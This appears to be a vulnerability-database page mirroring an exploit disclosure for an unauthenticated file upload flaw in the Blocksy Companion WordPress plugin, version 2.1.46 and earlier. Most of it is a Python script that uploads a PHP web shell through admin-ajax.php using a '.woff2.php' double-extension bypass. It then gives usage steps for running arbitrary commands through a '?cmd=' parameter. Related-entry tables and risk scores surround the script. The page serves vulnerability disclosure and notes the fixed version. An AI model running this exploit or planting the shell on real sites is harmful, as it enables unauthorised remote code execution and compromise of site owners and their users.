Lucene search
+L

Blocksy Companion 2.1.46 Shell Upload

🗓️ 11 Aug 2026 00:00:00Reported by Mohammed Idrees BanyamerType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 24 Views

Unauthenticated RCE via arbitrary file upload and double-extension bypass in Blocksy Companion <= 2.1.46, fixed in 2.1.47.

Related
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for CVE-2026-58480
26 Jul 202608:59
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-58480
26 Jul 202608:59
githubexploit
attackerkb
ATTACKERKB
CVE-2026-58480
8 Jul 202613:05
attackerkb
circl
Circl
CVE-2026-58480
8 Jul 202613:30
circl
cve
CVE
CVE-2026-58480
8 Jul 202613:05
cve
cvelist
Cvelist
CVE-2026-58480 Blocksy Companion Pro < 2.1.47 Unauthenticated File Upload via save_attachments
8 Jul 202613:05
cvelist
exploitdb
Exploit DB
Blocksy Companion 2.1.46 - RCE
11 Aug 202600:00
exploitdb
euvd
EUVD
EUVD-2026-42233
8 Jul 202613:05
euvd
kitploit
Kitploit
CVE-2026-58480
6 Sep 202614:30
kitploit
nvd
NVD
CVE-2026-58480
8 Jul 202614:17
nvd
Rows per page
#!/usr/bin/env python3
    # Exploit Title:        Blocksy Companion 2.1.46 - RCE
    # CVE:                  CVE-2026-58480
    # Date:                 2026-07-13
    # Exploit Author:       Mohammed Idrees Banyamer
    # Author Country:       Jordan
    # Instagram:            @banyamer_security
    # Author GitHub:        https://github.com/mbanyamer
    # Author Blog  :        https://banyamersecurity.com/blog/
    # Vendor Homepage:      https://creativethemes.com
    # Software Link:        https://wordpress.org/plugins/blocksy-companion/
    # Affected:             Blocksy Companion <= 2.1.46 (Pro with Advanced Reviews + Custom Fonts)
    # Tested on:            WordPress + Blocksy Companion 2.1.46
    # Category:             WebApps
    # Platform:             PHP
    # Exploit Type:         Remote Code Execution (Unauthenticated)
    # CVSS:                 9.8 (Critical)
    # Description:          Unauthenticated arbitrary file upload via blc-review-images[] parameter in save_attachments.
    #                       Double-extension bypass (.woff2.php) due to strpos() check in Custom Fonts extension.
    # Fixed in:             2.1.47
    # Usage:
    #   python3 exploit.py <target_url>
    #
    # Examples:
    #   python3 exploit.py http://target.com
    #
    # Notes:
    #   • Requires Advanced Reviews and Custom Fonts extensions enabled.
    #   • Uploaded shell lands in wp-content/uploads/ (check response for exact path).
    #
    # How to Use
    #
    # Step 1:
    #   Run the script with target URL.
    #
    # Step 2:
    #   Use the generated shell URL with ?cmd=command (e.g. ?cmd=id)
    
    import requests
    import sys
    
    def banner():
        print(r"""
    ╔██████╗  █████╗ ███╗   ██╗██╗   ██╗ █████╗ ███╗   ███╗███████╗██████╗╗
    ║██╔══██╗██╔══██╗████╗  ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║
    ║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗  ██████╔╝
    ║██╔══██╗██╔══██║██║╚██╗██║  ╚██╔╝  ██╔══██║██║╚██╔╝██║██╔══╝  ██╔══██╗
    ║██████╔╝██║  ██║██║ ╚████║   ██║   ██║  ██║██║ ╚═╝ ██║███████╗██║  ██║
    ╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═══╝   ╚═╝   ╚═╝  ╚═╝╚═╝     ╚═╝╚══════╝╚═╝  ╚═╝
            ╔═╗ Banyamer Security ╔═╗
    """)
    
    if len(sys.argv) < 2:
        banner()
        print("Usage: python3 exploit.py <http://target.com>")
        sys.exit(1)
    
    banner()
    
    target = sys.argv[1].rstrip('/')
    shell_name = "poc.woff2.php"
    payload = """<?php
    if(isset($_GET['cmd'])) {
        system($_GET['cmd']);
        exit;
    }
    echo 'Blocksy RCE PoC - CVE-2026-58480 | @banyamer_security';
    ?>
    """
    
    files = {
        'blc-review-images[]': (shell_name, payload, 'application/octet-stream')
    }
    
    data = {
        'action': 'blc_save_review_attachments'
    }
    
    print("[+] Sending unauthenticated file upload...")
    try:
        r = requests.post(f"{target}/wp-admin/admin-ajax.php", files=files, data=data, timeout=15)
        print(f"Status: {r.status_code}")
        print(r.text[:600])
        print("\n[+] If successful, check wp-content/uploads/ for the shell.")
        print(f"[+] Example: {target}/wp-content/uploads/YEAR/MONTH/{shell_name}?cmd=id")
    except Exception as e:
        print(f"[-] Error: {e}")

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Aug 2026 00:00Current
5.5Medium risk
Vulners AI Score5.5
CVSS 49.2
CVSS 3.19.8
EPSS0.03572
SSVC
24